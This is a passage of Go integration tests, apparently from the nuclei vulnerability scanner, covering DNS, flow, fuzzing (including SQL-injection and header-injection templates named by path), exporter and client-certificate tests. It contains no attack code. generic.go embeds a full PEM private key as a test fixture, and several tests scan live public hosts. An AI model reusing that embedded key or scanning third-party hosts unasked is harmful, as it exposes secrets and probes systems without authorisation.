dnsTLSA struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *dnsTLSA) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"scanme.sh\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 0)\n}\n\ntype dnsVariables struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *dnsVariables) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"one.one.one.one\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype dnsPayload struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *dnsPayload) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"google.com\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := expectResultsCount(results, 3); err != nil {\n\t\treturn err\n\t}\n\n\t// override payload from CLI\n\tresults, err = testutils.RunNucleiTemplateAndGetResults(filePath, \"google.com\", debug, \"-var\", \"subdomain_wordlist=subdomains.txt\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 4)\n}\n\ntype dnsDSLMatcherVariable struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *dnsDSLMatcherVariable) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"one.one.one.one\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n"
  },
  {
    "path": "cmd/integration-test/dsl.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\n\t\"github.com/julienschmidt/httprouter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nvar dslTestcases = []TestCaseInfo{\n\t{Path: \"dsl/hide-version-warning.yaml\", TestCase: &dslVersionWarning{}},\n\t{Path: \"dsl/show-version-warning.yaml\", TestCase: &dslShowVersionWarning{}},\n}\n\nvar defaultDSLEnvs = []string{\"HIDE_TEMPLATE_SIG_WARNING=true\"}\n\ntype dslVersionWarning struct{}\n\nfunc (d *dslVersionWarning) Execute(templatePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"DSL version parsing warning test\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\tresults, err := testutils.RunNucleiArgsAndGetErrors(debug, defaultDSLEnvs, \"-t\", templatePath, \"-target\", ts.URL, \"-v\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 0)\n}\n\ntype dslShowVersionWarning struct{}\n\nfunc (d *dslShowVersionWarning) Execute(templatePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"DSL version parsing warning test\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\tresults, err := testutils.RunNucleiArgsAndGetErrors(debug, append(defaultDSLEnvs, \"SHOW_DSL_ERRORS=true\"), \"-t\", templatePath, \"-target\", ts.URL, \"-v\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n"
  },
  {
    "path": "cmd/integration-test/exporters.go",
    "content": "package main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"log\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/mongo\"\n\t\"github.com/testcontainers/testcontainers-go\"\n\tmongocontainer \"github.com/testcontainers/testcontainers-go/modules/mongodb\"\n\n\tosutil \"github.com/projectdiscovery/utils/os\"\n\tmongoclient \"go.mongodb.org/mongo-driver/mongo\"\n\tmongooptions \"go.mongodb.org/mongo-driver/mongo/options\"\n)\n\nconst (\n\tdbName  = \"test\"\n\tdbImage = \"mongo:8\"\n)\n\nvar exportersTestCases = []TestCaseInfo{\n\t{Path: \"exporters/mongo\", TestCase: &mongoExporter{}, DisableOn: func() bool {\n\t\treturn osutil.IsWindows() || osutil.IsOSX()\n\t}},\n}\n\ntype mongoExporter struct{}\n\nfunc (m *mongoExporter) Execute(filepath string) error {\n\tctx, cancel := context.WithTimeout(context.Background(), 10*time.Minute)\n\tdefer cancel()\n\n\t// Start a MongoDB container\n\tmongodbContainer, err := mongocontainer.Run(ctx, dbImage)\n\tdefer func() {\n\t\tif err := testcontainers.TerminateContainer(mongodbContainer); err != nil {\n\t\t\tlog.Printf(\"failed to terminate container: %s\", err)\n\t\t}\n\t}()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to start container: %w\", err)\n\t}\n\n\tconnString, err := mongodbContainer.ConnectionString(ctx)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to get connection string for MongoDB container: %s\", err)\n\t}\n\tconnString = connString + dbName\n\n\t// Create a MongoDB exporter and write a test result to the database\n\topts := mongo.Options{\n\t\tConnectionString: connString,\n\t\tCollectionName:   \"test\",\n\t\tBatchSize:        1, // Ensure we write the result immediately\n\t}\n\n\texporter, err := mongo.New(&opts)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to create MongoDB exporter: %s\", err)\n\t}\n\tdefer func() {\n\t\tif err := exporter.Close(); err != nil {\n\t\t\tfmt.Printf(\"failed to close exporter: %s\\n\", err)\n\t\t}\n\t}()\n\n\tres := &output.ResultEvent{\n\t\tRequest:  \"test request\",\n\t\tResponse: \"test response\",\n\t}\n\n\terr = exporter.Export(res)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to export result event to MongoDB: %s\", err)\n\t}\n\n\t// Verify that the result was written to the database\n\tclientOptions := mongooptions.Client().ApplyURI(connString)\n\tclient, err := mongoclient.Connect(ctx, clientOptions)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error creating MongoDB client: %s\", err)\n\t}\n\tdefer func() {\n\t\tif err := client.Disconnect(ctx); err != nil {\n\t\t\tfmt.Printf(\"failed to disconnect from MongoDB: %s\\n\", err)\n\t\t}\n\t}()\n\n\tcollection := client.Database(dbName).Collection(opts.CollectionName)\n\tvar actualRes output.ResultEvent\n\terr = collection.FindOne(ctx, map[string]interface{}{\"request\": res.Request}).Decode(&actualRes)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to find document in MongoDB: %s\", err)\n\t}\n\n\tif actualRes.Request != res.Request || actualRes.Response != res.Response {\n\t\treturn fmt.Errorf(\"exported result does not match expected result: got %v, want %v\", actualRes, res)\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/integration-test/file.go",
    "content": "package main\n\nimport (\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nvar fileTestcases = []TestCaseInfo{\n\t{Path: \"protocols/file/matcher-with-or.yaml\", TestCase: &fileWithOrMatcher{}},\n\t{Path: \"protocols/file/matcher-with-and.yaml\", TestCase: &fileWithAndMatcher{}},\n\t{Path: \"protocols/file/matcher-with-nested-and.yaml\", TestCase: &fileWithAndMatcher{}},\n\t{Path: \"protocols/file/extract.yaml\", TestCase: &fileWithExtractor{}},\n}\n\ntype fileWithOrMatcher struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *fileWithOrMatcher) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"protocols/file/data/\", debug, \"-file\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype fileWithAndMatcher struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *fileWithAndMatcher) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"protocols/file/data/\", debug, \"-file\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype fileWithExtractor struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *fileWithExtractor) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"protocols/file/data/\", debug, \"-file\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n"
  },
  {
    "path": "cmd/integration-test/flow.go",
    "content": "package main\n\nimport (\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\n\t\"github.com/julienschmidt/httprouter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nvar flowTestcases = []TestCaseInfo{\n\t{Path: \"flow/conditional-flow.yaml\", TestCase: &conditionalFlow{}},\n\t{Path: \"flow/conditional-flow-negative.yaml\", TestCase: &conditionalFlowNegative{}},\n\t{Path: \"flow/iterate-values-flow.yaml\", TestCase: &iterateValuesFlow{}},\n\t{Path: \"flow/iterate-one-value-flow.yaml\", TestCase: &iterateOneValueFlow{}},\n\t{Path: \"flow/dns-ns-probe.yaml\", TestCase: &dnsNsProbe{}},\n\t{Path: \"flow/flow-hide-matcher.yaml\", TestCase: &flowHideMatcher{}},\n}\n\ntype conditionalFlow struct{}\n\nfunc (t *conditionalFlow) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"cloud.projectdiscovery.io\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype conditionalFlowNegative struct{}\n\nfunc (t *conditionalFlowNegative) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"scanme.sh\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 0)\n}\n\ntype iterateValuesFlow struct{}\n\nfunc (t *iterateValuesFlow) Execute(filePath string) error {\n\trouter := httprouter.New()\n\ttestemails := []string{\n\t\t\"secrets@scanme.sh\",\n\t\t\"superadmin@scanme.sh\",\n\t}\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, _ = fmt.Fprint(w, testemails)\n\t})\n\trouter.GET(\"/user/\"+getBase64(testemails[0]), func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, _ = w.Write([]byte(\"Welcome ! This is test matcher text\"))\n\t})\n\n\trouter.GET(\"/user/\"+getBase64(testemails[1]), func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, _ = w.Write([]byte(\"Welcome ! This is test matcher text\"))\n\t})\n\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 2)\n}\n\ntype iterateOneValueFlow struct{}\n\nfunc (t *iterateOneValueFlow) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"https://scanme.sh\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype dnsNsProbe struct{}\n\nfunc (t *dnsNsProbe) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"oast.fun\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 2)\n}\n\nfunc getBase64(input string) string {\n\treturn base64.StdEncoding.EncodeToString([]byte(input))\n}\n\ntype flowHideMatcher struct{}\n\nfunc (t *flowHideMatcher) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"scanme.sh\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// this matcher should not return any results\n\treturn expectResultsCount(results, 0)\n}\n"
  },
  {
    "path": "cmd/integration-test/fuzz.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/url\"\n\n\t\"github.com/julienschmidt/httprouter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\nconst (\n\ttargetFile = \"fuzz/testData/ginandjuice.proxify.yaml\"\n)\n\nvar fuzzingTestCases = []TestCaseInfo{\n\t{Path: \"fuzz/fuzz-mode.yaml\", TestCase: &fuzzModeOverride{}},\n\t{Path: \"fuzz/fuzz-multi-mode.yaml\", TestCase: &fuzzMultipleMode{}},\n\t{Path: \"fuzz/fuzz-type.yaml\", TestCase: &fuzzTypeOverride{}},\n\t{Path: \"fuzz/fuzz-query.yaml\", TestCase: &httpFuzzQuery{}},\n\t{Path: \"fuzz/fuzz-headless.yaml\", TestCase: &HeadlessFuzzingQuery{}},\n\t// for fuzzing we should prioritize adding test case related backend\n\t// logic in fuzz playground server instead of adding them here\n\t{Path: \"fuzz/fuzz-query-num-replace.yaml\", TestCase: &genericFuzzTestCase{expectedResults: 2}},\n\t{Path: \"fuzz/fuzz-host-header-injection.yaml\", TestCase: &genericFuzzTestCase{expectedResults: 1}},\n\t{Path: \"fuzz/fuzz-path-sqli.yaml\", TestCase: &genericFuzzTestCase{expectedResults: 1}},\n\t{Path: \"fuzz/fuzz-cookie-error-sqli.yaml\", TestCase: &genericFuzzTestCase{expectedResults: 1}},\n\t{Path: \"fuzz/fuzz-body-json-sqli.yaml\", TestCase: &genericFuzzTestCase{expectedResults: 1}},\n\t{Path: \"fuzz/fuzz-body-multipart-form-sqli.yaml\", TestCase: &genericFuzzTestCase{expectedResults: 1}},\n\t{Path: \"fuzz/fuzz-body-params-sqli.yaml\", TestCase: &genericFuzzTestCase{expectedResults: 1}},\n\t{Path: \"fuzz/fuzz-body-xml-sqli.yaml\", TestCase: &genericFuzzTestCase{expectedResults: 1}},\n\t{Path: \"fuzz/fuzz-body-generic-sqli.yaml\", TestCase: &genericFuzzTestCase{expectedResults: 4}},\n}\n\ntype genericFuzzTestCase struct {\n\texpectedResults int\n}\n\nfunc (g *genericFuzzTestCase) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiWithArgsAndGetResults(debug, \"-t\", filePath, \"-l\", targetFile, \"-im\", \"yaml\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, g.expectedResults)\n}\n\ntype httpFuzzQuery struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *httpFuzzQuery) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tw.Header().Set(\"Content-Type\", \"text/html\")\n\t\tvalue := r.URL.Query().Get(\"id\")\n\t\t_, _ = fmt.Fprintf(w, \"This is test matcher text: %v\", value)\n\t})\n\tts := httptest.NewTLSServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+\"/?id=example\", debug, \"-fuzz\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype fuzzModeOverride struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *fuzzModeOverride) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tw.Header().Set(\"Content-Type\", \"text/html\")\n\t\tvalue := r.URL.Query().Get(\"id\")\n\t\t_, _ = fmt.Fprintf(w, \"This is test matcher text: %v\", value)\n\t})\n\tts := httptest.NewTLSServer(router)\n\tdefer ts.Close()\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+\"/?id=example&name=nuclei\", debug, \"-fuzzing-mode\", \"single\", \"-jsonl\", \"-fuzz\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err = expectResultsCount(results, 1); err != nil {\n\t\treturn err\n\t}\n\tvar event output.ResultEvent\n\terr = json.Unmarshal([]byte(results[0]), &event)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not unmarshal event: %s\", err)\n\t}\n\n\t// Check whether the matched value url query params are correct\n\t// default fuzzing mode is multiple in template, so all query params should be fuzzed\n\t// but using -fm flag we are overriding fuzzing mode to single,\n\t// so only one query param should be fuzzed, and the other should be the same\n\n\t//parse url to get query params\n\tmatchedURL, err := url.Parse(event.Matched)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvalues, err := url.ParseQuery(matchedURL.RawQuery)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif values.Get(\"name\") != \"nuclei\" {\n\t\treturn fmt.Errorf(\"expected fuzzing should not override the name nuclei got %s\", values.Get(\"name\"))\n\t}\n\treturn nil\n}\n\ntype fuzzTypeOverride struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *fuzzTypeOverride) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tw.Header().Set(\"Content-Type\", \"text/html\")\n\t\tvalue := r.URL.Query().Get(\"id\")\n\t\t_, _ = fmt.Fprintf(w, \"This is test matcher text: %v\", value)\n\t})\n\tts := httptest.NewTLSServer(router)\n\tdefer ts.Close()\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+\"?id=example\", debug, \"-fuzzing-type\", \"replace\", \"-jsonl\", \"-fuzz\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err = expectResultsCount(results, 1); err != nil {\n\t\treturn err\n\t}\n\tvar event output.ResultEvent\n\terr = json.Unmarshal([]byte(results[0]), &event)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not unmarshal event: %s\", err)\n\t}\n\n\t// check whether the matched url query params are fuzzed\n\t// default fuzzing type in template is postfix but we are overriding it to replace\n\t// so the matched url query param should be replaced with fuzz-word\n\n\t//parse url to get query params\n\tmatchedURL, err := url.Parse(event.Matched)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvalues, err := url.ParseQuery(matchedURL.RawQuery)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif values.Get(\"id\") != \"fuzz-word\" {\n\t\treturn fmt.Errorf(\"expected id to be fuzz-word, got %s\", values.Get(\"id\"))\n\t}\n\treturn nil\n}\n\n// HeadlessFuzzingQuery tests fuzzing is working not in headless mode\ntype HeadlessFuzzingQuery struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *HeadlessFuzzingQuery) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tresp := fmt.Sprintf(\"<html><body>%s</body></html>\", r.URL.Query().Get(\"url\"))\n\t\t_, _ = fmt.Fprint(w, resp)\n\t})\n\tts := httptest.NewTLSServer(router)\n\tdefer ts.Close()\n\n\tgot, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+\"?url=https://scanme.sh\", debug, \"-headless\", \"-fuzz\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(got, 2)\n}\n\ntype fuzzMultipleMode struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *fuzzMultipleMode) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\txClientId := r.Header.Get(\"X-Client-Id\")\n\t\txSecretId := r.Header.Get(\"X-Secret-Id\")\n\t\tif xClientId != \"nuclei-v3\" || xSecretId != \"nuclei-v3\" {\n\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t\treturn\n\t\t}\n\t\tw.Header().Set(\"Content-Type\", \"text/html\")\n\t\tresp := fmt.Sprintf(\"<html><body><h1>This is multi-mode fuzzing test: %v <h1></body></html>\", xClientId)\n\t\t_, _ = fmt.Fprint(w, resp)\n\t})\n\tts := httptest.NewTLSServer(router)\n\tdefer ts.Close()\n\n\tgot, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+\"?url=https://scanme.sh\", debug, \"-jsonl\", \"-fuzz\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(got, 1)\n}\n"
  },
  {
    "path": "cmd/integration-test/generic.go",
    "content": "package main\n\nimport (\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\n\t\"github.com/julienschmidt/httprouter\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\tpermissionutil \"github.com/projectdiscovery/utils/permission\"\n)\n\nvar genericTestcases = []TestCaseInfo{\n\t{Path: \"generic/auth/certificate/http-get.yaml\", TestCase: &clientCertificate{}},\n}\n\nvar (\n\tserverCRT = `-----BEGIN CERTIFICATE-----\nMIIDEzCCAfsCFC21Zw7U0tGDyLyMalwfo9cWbL6dMA0GCSqGSIb3DQEBCwUAMEUx\nCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRl\ncm5ldCBXaWRnaXRzIFB0eSBMdGQwIBcNMjMwNzI4MTAwNzI3WhgPMzAwMzA5Mjkx\nMDA3MjdaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYD\nVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggEiMA0GCSqGSIb3DQEBAQUA\nA4IBDwAwggEKAoIBAQCjMlvOKQX9yn9SOYPJ8p+jeDUU/JWPwT4LRfqaxvvKSnS7\nNZzd7lS4AR0YTjyjiRj3+t0QnEDHVKBD8cMh9kMXkQ2S0r7psCURLvvZOYt4v6KM\nCyZpBbp8b/pG3aJQHDZjRDOApQrXhx62XJDIs64YKA8NybYOLqNisrWGrfqF4uEz\nRMgVGlthuQcXo3n2HzobuYN7RsHBzCWGLn9fRMDC2j3IAnQLf4YOznOJ57CjMd2W\nmn/yhHK8h9s4iU5zw3+PK+X/IM4GeAfeJMx8c5uq2A8A24uzMidyhxJCK7VUprjK\n/ckdNYya6dkG2De+LR7W82ygfWbFDOnZKM26cPG/AgMBAAEwDQYJKoZIhvcNAQEL\nBQADggEBAH5+Wdb/1jgBhihN6Pb6SWJmDvwkOEP3t00E3fBao4TDqdDOhPsLYrAm\n8gt16OcGrrXDQA3bi79mAVqAqCvaf4hk0vSI0L4rNcCSP4D3fUBjRO3fY3fM4Qw8\nxg9AusF5hRrvzFbEak7lPJ01kLOJEgBA1l457HrLnXcpDTml8Y46WqdWa6yVM33l\n7tNaXWrPwYZYMTcRumIytsYtIJXp/sMLBIT0AO/QR4yarvVOeMSJ1va459PjKLBG\nJGGmf2rigaT050e71QOrGyMXgT6xsNjJgzeVhUgPO422mPT692kDi2oB5DA0Fau0\n4qm5CMFgmYcC3zQoN53aDs1mHyWeroc=\n-----END CERTIFICATE-----\t\n`\n\tserverKey = `-----BEGIN PRIVATE KEY-----\nMIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCjMlvOKQX9yn9S\nOYPJ8p+jeDUU/JWPwT4LRfqaxvvKSnS7NZzd7lS4AR0YTjyjiRj3+t0QnEDHVKBD\n8cMh9kMXkQ2S0r7psCURLvvZOYt4v6KMCyZpBbp8b/pG3aJQHDZjRDOApQrXhx62\nXJDIs64YKA8NybYOLqNisrWGrfqF4uEzRMgVGlthuQcXo3n2HzobuYN7RsHBzCWG\nLn9fRMDC2j3IAnQLf4YOznOJ57CjMd2Wmn/yhHK8h9s4iU5zw3+PK+X/IM4GeAfe\nJMx8c5uq2A8A24uzMidyhxJCK7VUprjK/ckdNYya6dkG2De+LR7W82ygfWbFDOnZ\nKM26cPG/AgMBAAECggEAFtRko2J5xBcf2JDTLt0SF/wo8Nak1Ydi9pDDjgNoFdR0\nn/vQBfvhPhxpxYysTvRO2eHuKvSw2zGredXIRmf82r8f9vokWuyZQt4fvTOfnzSv\nuIeWx/pVLDM9/8vhePN5aEmSKtzrt1rfoQMx/eGk6RwxfuxI25MKqDP30O9lrHTn\nY0lW7dthgdDMlQnSpOqUm2ldDsykYCBFteh4i5RDzAhiGx1ryaz3FMg+/y0VTTk0\nBM43qW6H9PD8P4iOau3DGIPNqtIlFSnWoYaM6Ta2osfzzdsnFbe5F7JbdMrf5MBc\nJq3VMUqffRmHubz7di03qRsRqGYQn2cJeiuVC+y6gQKBgQDYpq3MfMjwzPeoB1Ay\nZQdzx+T290XRxFZwkiv3uugsYMlFGEabdAMFx5oIIOdjWSBLI92RvXbg7qMd/xMC\nya/GzbKQd+5GbRLW+TZ0odGkMFkTo+DEkt07yEM8mrPJ6XePUndHbiNFSdpVKx4g\nKdmiRHinm3R8Lr5/puvISrOdcwKBgQDA1kln9aD1mvIdObI6MubPitb+NuNcpVDo\nmyc1UrEJbcn8nBbLb+0Q+7gckjau2C8GN7Olnd8RCYLc7kU1On2pY+f19Ru/PdZX\ncjCCTcxqCJvWkNWOzw14ag6UrDTF5nxtoVl/eXbHxWqFjdt0a211sa1mp3Gn3ZNq\nm/teImYHhQKBgQCzWUA1MPPzi+pU2kEEhugla8xauha9cUiRhiAJw1uiKTlVDqSc\n2ewKo9MaeYqzjruSGI26sVqxGDxGf7tQKoBuFiiFOhMxj+fxuHrhEHiI8FE9VgOj\nF2U3sTAgAn1lX/VO21jM9BsUp++rY7dbrulwUDiFn8ZNazDeYeN8eoK4iwKBgQCb\ncqJN+YW9NyCBSqdPnwTMvSE+YES7xFAKkjfzFiu8bBJtXe5KJHm4PRJXhc4q9/5A\nRtq8YR0WgNJLApArrnDqAa1Vajbp3RFSAKz1/X0Q5MurFanxqxsyvFvwoTkRZxFa\n1rxstB96Prv12TrVCFx+ibI8lDJcnZNeV0s0wQn6eQKBgQDXkfPuX5TFBpNe1bWI\nKUFmw9R1ynmUlIOaU3ITLv9C+w8zaJSpxFDZgJdv3uT8PfnXrsHm+lWjaOunvjri\nquZSc06mLlEbggYoIFQNPeNPRyN0+GLvefMS3mCotzanZTmD5GrH9XG451tVPiH9\nG/lpNA1ccRCCsLslcG/aaa5PQw==\n-----END PRIVATE KEY-----\t\n`\n)\n\ntype clientCertificate struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *clientCertificate) Execute(filePath string) error {\n\trouter := httprouter.New()\n\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tif len(r.TLS.PeerCertificates) == 0 {\n\t\t\thttp.Error(w, \"Client certificate required\", http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\n\t\t_, _ = fmt.Fprintf(w, \"Hello, %s!\\n\", r.TLS.PeerCertificates[0].Subject)\n\t})\n\n\t_ = os.WriteFile(\"server.crt\", []byte(serverCRT), permissionutil.ConfigFilePermission)\n\t_ = os.WriteFile(\"server.key\", []byte(serverKey), permissionutil.ConfigFilePermission)\n\tdefer func() {\n\t\t_ = os.Remove(\"server.crt\")\n\t\t_ = os.Remove(\"server.key\")\n\t}()\n\tserverCert, _ := tls.LoadX509KeyPair(\"server.crt\", \"server.key\")\n\n\tcertPool := x509.NewCertPool()\n\tcaCert, _ := os.ReadFile(\"server.crt\")\n\tcertPool.AppendCertsFromPEM(caCert)\n\n\ttlsConfig := &tls.Config{\n\t\tCertificates: []tls.Certificate{serverCert},\n\t\tClientAuth:   tls.RequireAndVerifyClientCert,\n\t\tClientCAs:    certPool,\n\t}\n\n\tts := httptest.NewUnstartedServer(router)\n\n\tts.TLS = tlsConfig\n\n\tts.StartTLS()\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug,\n\t\t\"-ca\", \"generic/auth/certificate/assets/server.crt\",\n\t\t\"-cc\", \"generic/auth/certificate/assets/client.crt\",\n\t\t\"-ck\", \"generic/auth/certificate/assets/client.key\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n"
  },
  {
    "path": "cmd/integration-test/headless.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\n\t\"github.com/julienschmidt/httprouter\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nvar headlessTestcases = []TestCaseInfo{\n\t{Path: \"protocols/headless/headless-basic.yaml\", TestCase: &headlessBasic{}},\n\t{Path: \"protocols/headless/headless-waitevent.yaml\", TestCase: &headlessBasic{}},\n\t{Path: \"protocols/headless/headless-dsl.yaml\", TestCase: &headlessBasic{}},\n\t{Path: \"protocols/headless/headless-self-contained.yaml\", TestCase: &headlessSelfContained{}},\n\t{Path: \"protocols/headless/headless-header-action.yaml\", TestCase: &headlessHeaderActions{}},\n\t{Path: \"protocols/headless/headless-extract-values.yaml\", TestCase: &headlessExtractValues{}},\n\t{Path: \"protocols/headless/headless-payloads.yaml\", TestCase: &headlessPayloads{}},\n\t{Path: \"protocols/headless/variables.yaml\", TestCase: &headlessVariables{}},\n\t{Path: \"protocols/headless/headless-local.yaml\", TestCase: &headlessLocal{}},\n\t{Path: \"protocols/headless/file-upload.yaml\", TestCase: &headlessFileUpload{}},\n\t{Path: \"protocols/headless/file-upload-negative.yaml\", TestCase: &headlessFileUploadNegative{}},\n\t{Path: \"protocols/headless/headless-header-status-test.yaml\", TestCase: &headlessHeaderStatus{}},\n}\n\ntype 